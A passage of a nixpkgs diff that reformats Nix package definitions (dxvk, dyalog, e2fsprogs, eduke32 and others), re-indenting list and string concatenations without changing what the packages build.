+          sha256 = "12v2y2y6ci5hh6lbmsk97dzgznrm4bxwhc81mq684ix0qspb9mq4";
+        }
+        {
+          pfile = "dvd+rw-tools-7.0-sysmacros.patch";
+          sha256 = "1rkb26cyhfxklkmna3l9b4797f6gzlxyqqin44jwnq3jmwfrs6v0";
+        }
+        {
+          pfile = "dvd+rw-tools-7.0-wctomb-r1.patch";
+          sha256 = "1xg770l0b4bjn30y7nqg619v4m5ickcn2n8hv9k2an6r191daq58";
+        }
+        {
+          pfile = "dvd+rw-tools-7.0-wexit.patch";
+          sha256 = "0sqzlkm19fmjx4lzxkxwn2ymrj9fq0zk0jkys3xm6xvd2ibb6kxl";
+        }
+        {
+          pfile = "dvd+rw-tools-7.1-bluray_pow_freespace.patch";
+          sha256 = "0iscz8fs5002ymk6wl2fz4x06b7bdnc57rfz8kbv3216acqi5rv3";
+        }
+        {
+          pfile = "dvd+rw-tools-7.1-bluray_srm+pow.patch";
+          sha256 = "0sy40m12w987i6g0cyxv8cfmab4vp7cd222lv05apknfi2y7smmw";
+        }
+        {
+          pfile = "dvd+rw-tools-7.1-lastshort.patch";
+          sha256 = "01wspv70sil20khkg5kj086b1x8rrig4yhcq9s88bdjd42nv0vpx";
+        }
+        {
+          pfile = "dvd+rw-tools-7.1-noevent.patch";
+          sha256 = "1kbmxpg15wci33f2h6pxxvf3qm0kpyzx9wj5a3l67sk34hvza3z6";
+        }
+      ];
 
   nativeBuildInputs = [ m4 ];
   buildInputs = [ cdrtools ];
diff --git a/pkgs/by-name/dv/dvdstyler/package.nix b/pkgs/by-name/dv/dvdstyler/package.nix
index 390438fe2da9..050cc09b78b4 100644
--- a/pkgs/by-name/dv/dvdstyler/package.nix
+++ b/pkgs/by-name/dv/dvdstyler/package.nix
@@ -56,23 +56,22 @@ stdenv.mkDerivation rec {
     xmlto
     zip
   ];
-  buildInputs =
-    [
-      cdrtools
-      dvdauthor
-      dvdplusrwtools
-      ffmpeg
-      fontconfig
-      glib
-      libexif
-      libjpeg
-      wxSVG
-      wxGTK32
-      xine-ui
-    ]
-    ++ optionals dvdisasterSupport [ dvdisaster ]
-    ++ optionals udevSupport [ udev ]
-    ++ optionals dbusSupport [ dbus ];
+  buildInputs = [
+    cdrtools
+    dvdauthor
+    dvdplusrwtools
+    ffmpeg
+    fontconfig
+    glib
+    libexif
+    libjpeg
+    wxSVG
+    wxGTK32
+    xine-ui
+  ]
+  ++ optionals dvdisasterSupport [ dvdisaster ]
+  ++ optionals udevSupport [ udev ]
+  ++ optionals dbusSupport [ dbus ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/dw/dwl/package.nix b/pkgs/by-name/dw/dwl/package.nix
index e30827a71774..21ac41b31d32 100644
--- a/pkgs/by-name/dw/dwl/package.nix
+++ b/pkgs/by-name/dw/dwl/package.nix
@@ -54,21 +54,20 @@ stdenv.mkDerivation (finalAttrs: {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      libinput
-      libxcb
-      libxkbcommon
-      pixman
-      wayland
-      wayland-protocols
-      wlroots
-    ]
-    ++ lib.optionals enableXWayland [
-      libX11
-      xcbutilwm
-      xwayland
-    ];
+  buildInputs = [
+    libinput
+    libxcb
+    libxkbcommon
+    pixman
+    wayland
+    wayland-protocols
+    wlroots
+  ]
+  ++ lib.optionals enableXWayland [
+    libX11
+    xcbutilwm
+    xwayland
+  ];
 
   outputs = [
     "out"
@@ -85,17 +84,16 @@ stdenv.mkDerivation (finalAttrs: {
     in
     lib.optionalString withCustomConfigH "cp ${configFile} config.h";
 
-  makeFlags =
-    [
-      "PKG_CONFIG=${stdenv.cc.targetPrefix}pkg-config"
-      "WAYLAND_SCANNER=wayland-scanner"
-      "PREFIX=$(out)"
-      "MANDIR=$(man)/share/man"
-    ]
-    ++ lib.optionals enableXWayland [
-      ''XWAYLAND="-DXWAYLAND"''
-      ''XLIBS="xcb xcb-icccm"''
-    ];
+  makeFlags = [
+    "PKG_CONFIG=${stdenv.cc.targetPrefix}pkg-config"
+    "WAYLAND_SCANNER=wayland-scanner"
+    "PREFIX=$(out)"
+    "MANDIR=$(man)/share/man"
+  ]
+  ++ lib.optionals enableXWayland [
+    ''XWAYLAND="-DXWAYLAND"''
+    ''XLIBS="xcb xcb-icccm"''
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/dx/dxvk_1/package.nix b/pkgs/by-name/dx/dxvk_1/package.nix
index ace6746f3f2a..889a037eb501 100644
--- a/pkgs/by-name/dx/dxvk_1/package.nix
+++ b/pkgs/by-name/dx/dxvk_1/package.nix
@@ -22,24 +22,23 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   # These patches are required when using DXVK with Wine on Darwin.
-  patches =
-    [
-      # Fixes errors building with GCC 13.
-      (fetchpatch {
-        url = "https://github.com/doitsujin/dxvk/commit/1a5afc77b1859e6c7e31b55e11ece899e3b5295a.patch";
-        hash = "sha256-tTAsQOMAazgH/6laLNTuG2lki257VUR9EBivnD4vCuY=";
-      })
-      # Fixes errors building with GCC 14.
-      ./gcc14-compat.patch
-    ]
-    ++ lib.optionals enableMoltenVKCompat [
-      # Patch DXVK to work with MoltenVK even though it doesn’t support some required features.
-      # Some games work poorly (particularly Unreal Engine 4 games), but others work pretty well.
-      ./darwin-dxvk-compat.patch
-      # Use synchronization primitives from the C++ standard library to avoid deadlocks on Darwin.
-      # See: https://www.reddit.com/r/macgaming/comments/t8liua/comment/hzsuce9/
-      ./darwin-thread-primitives.patch
-    ];
+  patches = [
+    # Fixes errors building with GCC 13.
+    (fetchpatch {
+      url = "https://github.com/doitsujin/dxvk/commit/1a5afc77b1859e6c7e31b55e11ece899e3b5295a.patch";
+      hash = "sha256-tTAsQOMAazgH/6laLNTuG2lki257VUR9EBivnD4vCuY=";
+    })
+    # Fixes errors building with GCC 14.
+    ./gcc14-compat.patch
+  ]
+  ++ lib.optionals enableMoltenVKCompat [
+    # Patch DXVK to work with MoltenVK even though it doesn’t support some required features.
+    # Some games work poorly (particularly Unreal Engine 4 games), but others work pretty well.
+    ./darwin-dxvk-compat.patch
+    # Use synchronization primitives from the C++ standard library to avoid deadlocks on Darwin.
+    # See: https://www.reddit.com/r/macgaming/comments/t8liua/comment/hzsuce9/
+    ./darwin-thread-primitives.patch
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/dx/dxvk_2/package.nix b/pkgs/by-name/dx/dxvk_2/package.nix
index 240b73c34fe3..154987407116 100644
--- a/pkgs/by-name/dx/dxvk_2/package.nix
+++ b/pkgs/by-name/dx/dxvk_2/package.nix
@@ -47,21 +47,20 @@ stdenv.mkDerivation (finalAttrs: {
     fetchSubmodules = true; # Needed for the DirectX headers and libdisplay-info
   };
 
-  postPatch =
-    ''
-      substituteInPlace meson.build \
-        --replace-fail "dependency('glfw'" "dependency('glfw3'"
-      substituteInPlace subprojects/libdisplay-info/tool/gen-search-table.py \
-        --replace-fail "/usr/bin/env python3" "${lib.getBin pkgsBuildHost.python3}/bin/python3"
-    ''
-    + lib.optionalString glfwSupport ''
-      substituteInPlace src/wsi/glfw/wsi_platform_glfw.cpp \
-        --replace-fail '${libglfw}' '${lib.getLib glfw}/lib/${libglfw}'
-    ''
-    + lib.optionalString sdl2Support ''
-      substituteInPlace src/wsi/sdl2/wsi_platform_sdl2.cpp \
-        --replace-fail '${libSDL2}' '${lib.getLib SDL2}/lib/${libSDL2}'
-    '';
+  postPatch = ''
+    substituteInPlace meson.build \
+      --replace-fail "dependency('glfw'" "dependency('glfw3'"
+    substituteInPlace subprojects/libdisplay-info/tool/gen-search-table.py \
+      --replace-fail "/usr/bin/env python3" "${lib.getBin pkgsBuildHost.python3}/bin/python3"
+  ''
+  + lib.optionalString glfwSupport ''
+    substituteInPlace src/wsi/glfw/wsi_platform_glfw.cpp \
+      --replace-fail '${libglfw}' '${lib.getLib glfw}/lib/${libglfw}'
+  ''
+  + lib.optionalString sdl2Support ''
+    substituteInPlace src/wsi/sdl2/wsi_platform_sdl2.cpp \
+      --replace-fail '${libSDL2}' '${lib.getLib SDL2}/lib/${libSDL2}'
+  '';
 
   strictDeps = true;
 
@@ -69,16 +68,16 @@ stdenv.mkDerivation (finalAttrs: {
     glslang
     meson
     ninja
-  ] ++ lib.optionals (glfwSupport || sdl2Support) [ pkg-config ];
+  ]
+  ++ lib.optionals (glfwSupport || sdl2Support) [ pkg-config ];
 
-  buildInputs =
-    [
-      spirv-headers
-      vulkan-headers
-    ]
-    ++ lib.optionals sdl2Support [ SDL2 ]
-    ++ lib.optionals glfwSupport [ glfw ]
-    ++ lib.optionals hostPlatform.isWindows [ windows.pthreads ];
+  buildInputs = [
+    spirv-headers
+    vulkan-headers
+  ]
+  ++ lib.optionals sdl2Support [ SDL2 ]
+  ++ lib.optionals glfwSupport [ glfw ]
+  ++ lib.optionals hostPlatform.isWindows [ windows.pthreads ];
 
   # Build with the Vulkan SDK in nixpkgs.
   preConfigure = ''
diff --git a/pkgs/by-name/dy/dyalog/package.nix b/pkgs/by-name/dy/dyalog/package.nix
index 3b39b5c86428..8a9f5502db2e 100644
--- a/pkgs/by-name/dy/dyalog/package.nix
+++ b/pkgs/by-name/dy/dyalog/package.nix
@@ -76,86 +76,83 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      (lib.getLib stdenv.cc.cc) # Used by Conga and .NET Bridge
-      ncurses5 # Used by the dyalog binary to correctly display in the terminal
-    ]
-    ++ lib.optionals htmlRendererSupport [
-      alsa-lib
-      gtk3
-      libdrm
-      libGL
-      libgbm
-      nss
-    ]
-    ++ lib.optional sqaplSupport unixODBC;
+  buildInputs = [
+    (lib.getLib stdenv.cc.cc) # Used by Conga and .NET Bridge
+    ncurses5 # Used by the dyalog binary to correctly display in the terminal
+  ]
+  ++ lib.optionals htmlRendererSupport [
+    alsa-lib
+    gtk3
+    libdrm
+    libGL
+    libgbm
+    nss
+  ]
+  ++ lib.optional sqaplSupport unixODBC;
 
   # See which files are not really important: `https://github.com/Dyalog/DyalogDocker/blob/master/rmfiles.sh`
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p ${dyalogHome}
-      cp -r aplfmt aplkeys apltrans Experimental fonts Library PublicCACerts SALT StartupSession ${dyalogHome}
-      cp aplkeys.sh default.dse dyalog dyalogc dyalog.rt dyalog.dcfg.template dyalog.ver.dcfg.template languagebar.json mapl StartupSession.aplf ${dyalogHome}
+    mkdir -p ${dyalogHome}
+    cp -r aplfmt aplkeys apltrans Experimental fonts Library PublicCACerts SALT StartupSession ${dyalogHome}
+    cp aplkeys.sh default.dse dyalog dyalogc dyalog.rt dyalog.dcfg.template dyalog.ver.dcfg.template languagebar.json mapl StartupSession.aplf ${dyalogHome}
 
-      mkdir ${dyalogHome}/lib
-      cp lib/{conga35_64.so,dyalog64.so,libconga35ssl64.so} ${dyalogHome}/lib
+    mkdir ${dyalogHome}/lib
+    cp lib/{conga35_64.so,dyalog64.so,libconga35ssl64.so} ${dyalogHome}/lib
 
-      # Only keep the most useful workspaces
-      mkdir ${dyalogHome}/ws
-      cp ws/{conga,dfns,isolate,loaddata,salt,sharpplot,util}.dws ${dyalogHome}/ws
-    ''
-    + lib.optionalString dotnetSupport ''
-      cp libnethost.so Dyalog.Net.Bridge.* Lokad.ILPack.dll ${dyalogHome}
-    ''
-    + lib.optionalString htmlRendererSupport ''
-      cp -r locales ${dyalogHome}
-      cp libcef.so libEGL.so libGLESv2.so libvk_swiftshader.so libvulkan.so.1 ${dyalogHome}
-      cp chrome-sandbox icudtl.dat snapshot_blob.bin v8_context_snapshot.bin vk_swiftshader_icd.json *.pak ${dyalogHome}
-      cp lib/htmlrenderer.so ${dyalogHome}/lib
-    ''
-    + lib.optionalString sqaplSupport ''
-      cp lib/cxdya65u64u.so ${dyalogHome}/lib
-      cp ws/sqapl.dws ${dyalogHome}/ws
-      cp odbc.ini.sample sqapl.err sqapl.ini ${dyalogHome}
-    ''
-    + lib.optionalString zeroFootprintRideSupport ''
-      cp -r RIDEapp ${dyalogHome}
-    ''
-    + lib.optionalString enableDocs ''
-      mkdir -p $doc/share/doc/dyalog
-      cp -r help/* $doc/share/doc/dyalog
-      ln -s $doc/share/doc/dyalog ${dyalogHome}/help
-    ''
-    + ''
-      install -Dm644 dyalog.svg -t $out/share/icons/hicolor/scalable/apps
-      install -Dm644 dyalog.desktop -t $out/share/applications
+    # Only keep the most useful workspaces
+    mkdir ${dyalogHome}/ws
+    cp ws/{conga,dfns,isolate,loaddata,salt,sharpplot,util}.dws ${dyalogHome}/ws
+  ''
+  + lib.optionalString dotnetSupport ''
+    cp libnethost.so Dyalog.Net.Bridge.* Lokad.ILPack.dll ${dyalogHome}
+  ''
+  + lib.optionalString htmlRendererSupport ''
+    cp -r locales ${dyalogHome}
+    cp libcef.so libEGL.so libGLESv2.so libvk_swiftshader.so libvulkan.so.1 ${dyalogHome}
+    cp chrome-sandbox icudtl.dat snapshot_blob.bin v8_context_snapshot.bin vk_swiftshader_icd.json *.pak ${dyalogHome}
+    cp lib/htmlrenderer.so ${dyalogHome}/lib
+  ''
+  + lib.optionalString sqaplSupport ''
+    cp lib/cxdya65u64u.so ${dyalogHome}/lib
+    cp ws/sqapl.dws ${dyalogHome}/ws
+    cp odbc.ini.sample sqapl.err sqapl.ini ${dyalogHome}
+  ''
+  + lib.optionalString zeroFootprintRideSupport ''
+    cp -r RIDEapp ${dyalogHome}
+  ''
+  + lib.optionalString enableDocs ''
+    mkdir -p $doc/share/doc/dyalog
+    cp -r help/* $doc/share/doc/dyalog
+    ln -s $doc/share/doc/dyalog ${dyalogHome}/help
+  ''
+  + ''
+    install -Dm644 dyalog.svg -t $out/share/icons/hicolor/scalable/apps
+    install -Dm644 dyalog.desktop -t $out/share/applications
 
-      for exec in "dyalog" "mapl"; do
-          makeWrapper ${dyalogHome}/$exec $out/bin/$exec ${toString makeWrapperArgs}
-      done
+    for exec in "dyalog" "mapl"; do
+        makeWrapper ${dyalogHome}/$exec $out/bin/$exec ${toString makeWrapperArgs}
+    done
 
-      install -Dm755 scriptbin/dyalogscript $out/bin/dyalogscript
-      substituteInPlace $out/bin/dyalogscript \
-          --subst-var-by installdir ${dyalogHome} \
-          --subst-var-by scriptdir $out/bin
+    install -Dm755 scriptbin/dyalogscript $out/bin/dyalogscript
+    substituteInPlace $out/bin/dyalogscript \
+        --subst-var-by installdir ${dyalogHome} \
+        --subst-var-by scriptdir $out/bin
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   # Register some undeclared runtime dependencies to be patched in by autoPatchelfHook
   # Note: dyalog.rt is used internally to run child APL processes in
-  preFixup =
-    ''
-      for exec in "dyalog" "dyalog.rt"; do
-          patchelf ${dyalogHome}/$exec --add-needed libncurses.so
-      done
-    ''
-    + lib.optionalString htmlRendererSupport ''
-      patchelf ${dyalogHome}/libcef.so --add-needed libudev.so --add-needed libGL.so
-    '';
+  preFixup = ''
+    for exec in "dyalog" "dyalog.rt"; do
+        patchelf ${dyalogHome}/$exec --add-needed libncurses.so
+    done
+  ''
+  + lib.optionalString htmlRendererSupport ''
+    patchelf ${dyalogHome}/libcef.so --add-needed libudev.so --add-needed libGL.so
+  '';
 
   meta = {
     changelog = "https://dyalog.com/dyalog/dyalog-versions/${
diff --git a/pkgs/by-name/e2/e2fsprogs/package.nix b/pkgs/by-name/e2/e2fsprogs/package.nix
index 590938068d85..4d537e5d06fc 100644
--- a/pkgs/by-name/e2/e2fsprogs/package.nix
+++ b/pkgs/by-name/e2/e2fsprogs/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation rec {
     "out"
     "man"
     "info"
-  ] ++ lib.optionals withFuse [ "fuse2fs" ];
+  ]
+  ++ lib.optionals withFuse [ "fuse2fs" ];
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
   nativeBuildInputs = [
@@ -40,7 +41,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     libuuid
     gettext
-  ] ++ lib.optionals withFuse [ fuse3 ];
+  ]
+  ++ lib.optionals withFuse [ fuse3 ];
 
   configureFlags =
     if stdenv.hostPlatform.isLinux then
@@ -65,17 +67,16 @@ stdenv.mkDerivation rec {
   nativeCheckInputs = [ buildPackages.perl ];
   doCheck = true;
 
-  postInstall =
-    ''
-      # avoid cycle between outputs
-      if [ -f $out/lib/${pname}/e2scrub_all_cron ]; then
-        mv $out/lib/${pname}/e2scrub_all_cron $bin/bin/
-      fi
-    ''
-    + lib.optionalString withFuse ''
-      mkdir -p $fuse2fs/bin
-      mv $bin/bin/fuse2fs $fuse2fs/bin/fuse2fs
-    '';
+  postInstall = ''
+    # avoid cycle between outputs
+    if [ -f $out/lib/${pname}/e2scrub_all_cron ]; then
+      mv $out/lib/${pname}/e2scrub_all_cron $bin/bin/
+    fi
+  ''
+  + lib.optionalString withFuse ''
+    mkdir -p $fuse2fs/bin
+    mv $bin/bin/fuse2fs $fuse2fs/bin/fuse2fs
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ea/earlyoom/package.nix b/pkgs/by-name/ea/earlyoom/package.nix
index ed3f0006b466..442632cd4914 100644
--- a/pkgs/by-name/ea/earlyoom/package.nix
+++ b/pkgs/by-name/ea/earlyoom/package.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation (finalAttrs: {
   makeFlags = [
     "VERSION=${finalAttrs.version}"
     "PREFIX=${placeholder "out"}"
-  ] ++ lib.optional withManpage "MANDIR=${placeholder "man"}/share/man";
+  ]
+  ++ lib.optional withManpage "MANDIR=${placeholder "man"}/share/man";
 
   passthru.tests = {
     inherit (nixosTests) earlyoom;
diff --git a/pkgs/by-name/ea/eartag/package.nix b/pkgs/by-name/ea/eartag/package.nix
index 411cad1653ed..43a11963f8e6 100644
--- a/pkgs/by-name/ea/eartag/package.nix
+++ b/pkgs/by-name/ea/eartag/package.nix
@@ -52,7 +52,8 @@ python3Packages.buildPythonApplication rec {
     gobject-introspection
     wrapGAppsHook4
     blueprint-compiler
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin gtk4; # for gtk4-update-icon-cache
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gtk4; # for gtk4-update-icon-cache
 
   buildInputs = [
     librsvg
diff --git a/pkgs/by-name/ea/earthly/package.nix b/pkgs/by-name/ea/earthly/package.nix
index 193cf4991cc9..a899c63c37be 100644
--- a/pkgs/by-name/ea/earthly/package.nix
+++ b/pkgs/by-name/ea/earthly/package.nix
@@ -26,18 +26,17 @@ buildGoModule rec {
 
   env.CGO_ENABLED = 0;
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X main.Version=v${version}"
-      "-X main.DefaultBuildkitdImage=docker.io/earthly/buildkitd:v${version}"
-      "-X main.GitSha=v${version}"
-      "-X main.DefaultInstallationName=earthly"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-extldflags '-static'"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X main.Version=v${version}"
+    "-X main.DefaultBuildkitdImage=docker.io/earthly/buildkitd:v${version}"
+    "-X main.GitSha=v${version}"
+    "-X main.DefaultInstallationName=earthly"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-extldflags '-static'"
+  ];
 
   tags = [
     "dfrunmount"
diff --git a/pkgs/by-name/ea/easypdkprog/package.nix b/pkgs/by-name/ea/easypdkprog/package.nix
index b4c86551e142..60158cae5e42 100644
--- a/pkgs/by-name/ea/easypdkprog/package.nix
+++ b/pkgs/by-name/ea/easypdkprog/package.nix
@@ -15,13 +15,12 @@ stdenv.mkDerivation rec {
     sha256 = "0hc3gdmn6l01z63hzzwdhbdyy288gh5v219bsfm8fb1498vpnd6f";
   };
 
-  installPhase =
-    ''
-      install -Dm755 -t $out/bin easypdkprog
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm644 -t $out/etc/udev/rules.d Linux_udevrules/70-stm32vcp.rules
-    '';
+  installPhase = ''
+    install -Dm755 -t $out/bin easypdkprog
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm644 -t $out/etc/udev/rules.d Linux_udevrules/70-stm32vcp.rules
+  '';
 
   meta = with lib; {
     description = "Read, write and execute programs on PADAUK microcontroller";
diff --git a/pkgs/by-name/ea/easyrpg-player/package.nix b/pkgs/by-name/ea/easyrpg-player/package.nix
index 888c91162592..e8067a2dd423 100644
--- a/pkgs/by-name/ea/easyrpg-player/package.nix
+++ b/pkgs/by-name/ea/easyrpg-player/package.nix
@@ -65,37 +65,36 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fmt
-      freetype
-      glib
-      harfbuzz
-      liblcf
-      libpng
-      libsndfile
-      libvorbis
-      libxmp
-      mpg123
-      opusfile
-      pcre
-      pixman
-      SDL2
-      speexdsp
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libXcursor
-      libXext
-      libXi
-      libXinerama
-      libXrandr
-      libXScrnSaver
-      libXxf86vm
-      libdecor
-      wildmidi # until packaged on Darwin
-    ];
+  buildInputs = [
+    fmt
+    freetype
+    glib
+    harfbuzz
+    liblcf
+    libpng
+    libsndfile
+    libvorbis
+    libxmp
+    mpg123
+    opusfile
+    pcre
+    pixman
+    SDL2
+    speexdsp
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libXcursor
+    libXext
+    libXi
+    libXinerama
+    libXrandr
+    libXScrnSaver
+    libXxf86vm
+    libdecor
+    wildmidi # until packaged on Darwin
+  ];
 
   cmakeFlags = [
     "-DPLAYER_ENABLE_TESTS=${lib.boolToString doCheck}"
diff --git a/pkgs/by-name/eb/ebpf-usb/package.nix b/pkgs/by-name/eb/ebpf-usb/package.nix
index e030816c2392..3a2e041da2a6 100644
--- a/pkgs/by-name/eb/ebpf-usb/package.nix
+++ b/pkgs/by-name/eb/ebpf-usb/package.nix
@@ -21,11 +21,12 @@ python3Packages.buildPythonApplication {
     "--set PYTHONUNBUFFERED 1"
   ];
 
-  pythonPath =
-    [ bcc ]
-    ++ (with python3Packages; [
-      hexdump
-    ]);
+  pythonPath = [
+    bcc
+  ]
+  ++ (with python3Packages; [
+    hexdump
+  ]);
 
   postPatch = ''
     substituteInPlace ebpf-usb.py \
diff --git a/pkgs/by-name/eb/ebtks/package.nix b/pkgs/by-name/eb/ebtks/package.nix
index e1d62ad41d0d..49ebea565d7a 100644
--- a/pkgs/by-name/eb/ebtks/package.nix
+++ b/pkgs/by-name/eb/ebtks/package.nix
@@ -18,15 +18,14 @@ stdenv.mkDerivation {
   };
 
   # error: use of undeclared identifier 'finite'; did you mean 'isfinite'?
-  postPatch =
-    ''
-      substituteInPlace templates/EBTKS/SimpleArray.h \
-        --replace "#define FINITE(x) finite(x)" "#define FINITE(x) isfinite(x)"
-    ''
-    # error: ISO C++17 does not allow 'register' storage class specifier
-    + ''
-      find . -type f -exec sed -i -e 's/register //g' {} +
-    '';
+  postPatch = ''
+    substituteInPlace templates/EBTKS/SimpleArray.h \
+      --replace "#define FINITE(x) finite(x)" "#define FINITE(x) isfinite(x)"
+  ''
+  # error: ISO C++17 does not allow 'register' storage class specifier
+  + ''
+    find . -type f -exec sed -i -e 's/register //g' {} +
+  '';
 
   nativeBuildInputs = [ cmake ];
   buildInputs = [ libminc ];
diff --git a/pkgs/by-name/ec/eclib/package.nix b/pkgs/by-name/ec/eclib/package.nix
index c90084d515bf..e54259e2df71 100644
--- a/pkgs/by-name/ec/eclib/package.nix
+++ b/pkgs/by-name/ec/eclib/package.nix
@@ -34,15 +34,14 @@ stdenv.mkDerivation rec {
     url = "https://github.com/JohnCremona/eclib/releases/download/${version}/eclib-${version}.tar.bz2";
     sha256 = "sha256-n4wrMuJKTyDXzC0zbqMMjqA7WwlTwtMq3aDEludhaJk=";
   };
-  buildInputs =
-    [
-      pari
-      ntl
-      gmp
-    ]
-    ++ lib.optionals withFlint [
-      flint
-    ];
+  buildInputs = [
+    pari
+    ntl
+    gmp
+  ]
+  ++ lib.optionals withFlint [
+    flint
+  ];
   nativeBuildInputs = [
     autoreconfHook
   ];
diff --git a/pkgs/by-name/ec/ecryptfs/package.nix b/pkgs/by-name/ec/ecryptfs/package.nix
index 2d94a4a27ba3..d38fc3e91101 100644
--- a/pkgs/by-name/ec/ecryptfs/package.nix
+++ b/pkgs/by-name/ec/ecryptfs/package.nix
@@ -58,20 +58,20 @@ stdenv.mkDerivation rec {
 
   configureFlags = [ " --disable-openssl" ] ++ lib.optionals (!enablePython) [ "--disable-pywrap" ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      makeWrapper
-      intltool
-    ]
-    # if python2 support is requested, it is needed at builtime as well as runtime.
-    ++ lib.optionals (enablePython) [ python2 ];
+  nativeBuildInputs = [
+    pkg-config
+    makeWrapper
+    intltool
+  ]
+  # if python2 support is requested, it is needed at builtime as well as runtime.
+  ++ lib.optionals (enablePython) [ python2 ];
   buildInputs = [
     perl
     nss
     nspr
     pam
-  ] ++ lib.optionals (enablePython) [ python2 ];
+  ]
+  ++ lib.optionals (enablePython) [ python2 ];
   propagatedBuildInputs = [
     coreutils
     gettext
diff --git a/pkgs/by-name/ec/ecwolf/package.nix b/pkgs/by-name/ec/ecwolf/package.nix
index f8c3a8fe638a..1d899af79e91 100644
--- a/pkgs/by-name/ec/ecwolf/package.nix
+++ b/pkgs/by-name/ec/ecwolf/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeWrapper ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeWrapper ];
   buildInputs = [
     zlib
     bzip2
diff --git a/pkgs/by-name/ed/edencommon/package.nix b/pkgs/by-name/ed/edencommon/package.nix
index eb0a3e823440..ce8fdb76d679 100644
--- a/pkgs/by-name/ed/edencommon/package.nix
+++ b/pkgs/by-name/ed/edencommon/package.nix
@@ -35,14 +35,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-WlLQb4O4rGhXp+bQrJA12CvrwcIS6vzO4W6bX04vKMM=";
   };
 
-  patches =
-    [
-      ./glog-0.7.patch
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # Test discovery timeout is bizarrely flaky on `x86_64-darwin`
-      ./increase-test-discovery-timeout.patch
-    ];
+  patches = [
+    ./glog-0.7.patch
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # Test discovery timeout is bizarrely flaky on `x86_64-darwin`
+    ./increase-test-discovery-timeout.patch
+  ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/ed/edk2-uefi-shell/package.nix b/pkgs/by-name/ed/edk2-uefi-shell/package.nix
index b1d1beb266ef..8853243cc597 100644
--- a/pkgs/by-name/ed/edk2-uefi-shell/package.nix
+++ b/pkgs/by-name/ed/edk2-uefi-shell/package.nix
@@ -12,16 +12,15 @@ edk2.mkDerivation "ShellPkg/ShellPkg.dsc" (finalAttrs: {
   pname = "edk2-uefi-shell";
   inherit (edk2) version;
 
-  nativeBuildInputs =
-    [
-      util-linux
-      nasm
-      python3
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.bintools
-      llvmPackages.llvm
-    ];
+  nativeBuildInputs = [
+    util-linux
+    nasm
+    python3
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.bintools
+    llvmPackages.llvm
+  ];
   strictDeps = true;
 
   env.NIX_CFLAGS_COMPILE = toString (
diff --git a/pkgs/by-name/ed/edk2/package.nix b/pkgs/by-name/ed/edk2/package.nix
index b552a7675fe1..bfdaa3c74a1f 100644
--- a/pkgs/by-name/ed/edk2/package.nix
+++ b/pkgs/by-name/ed/edk2/package.nix
@@ -174,7 +174,8 @@ let
             nativeBuildInputs = [
               bc
               pythonEnv
-            ] ++ attrs.nativeBuildInputs or [ ];
+            ]
+            ++ attrs.nativeBuildInputs or [ ];
             strictDeps = true;
 
             ${"GCC5_${targetArch}_PREFIX"} = stdenv.cc.targetPrefix;
diff --git a/pkgs/by-name/ed/eduke32/package.nix b/pkgs/by-name/ed/eduke32/package.nix
index bcafef63bade..8224b6985d0e 100644
--- a/pkgs/by-name/ed/eduke32/package.nix
+++ b/pkgs/by-name/ed/eduke32/package.nix
@@ -42,44 +42,41 @@ stdenv.mkDerivation (finalAttrs: {
     ./convert-bmp-to-png.diff
   ];
 
-  buildInputs =
-    [
-      flac
-      libvorbis
-      libvpx
-      SDL2
-      SDL2_mixer
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      gtk2
-      libGL
-    ];
+  buildInputs = [
+    flac
+    libvorbis
+    libvpx
+    SDL2
+    SDL2_mixer
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    gtk2
+    libGL
+  ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config
-      copyDesktopItems
-      graphicsmagick
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "i686-linux") [
-      nasm
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+    copyDesktopItems
+    graphicsmagick
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "i686-linux") [
+    nasm
+  ];
 
-  postPatch =
-    ''
-      substituteInPlace source/imgui/src/imgui_impl_sdl2.cpp \
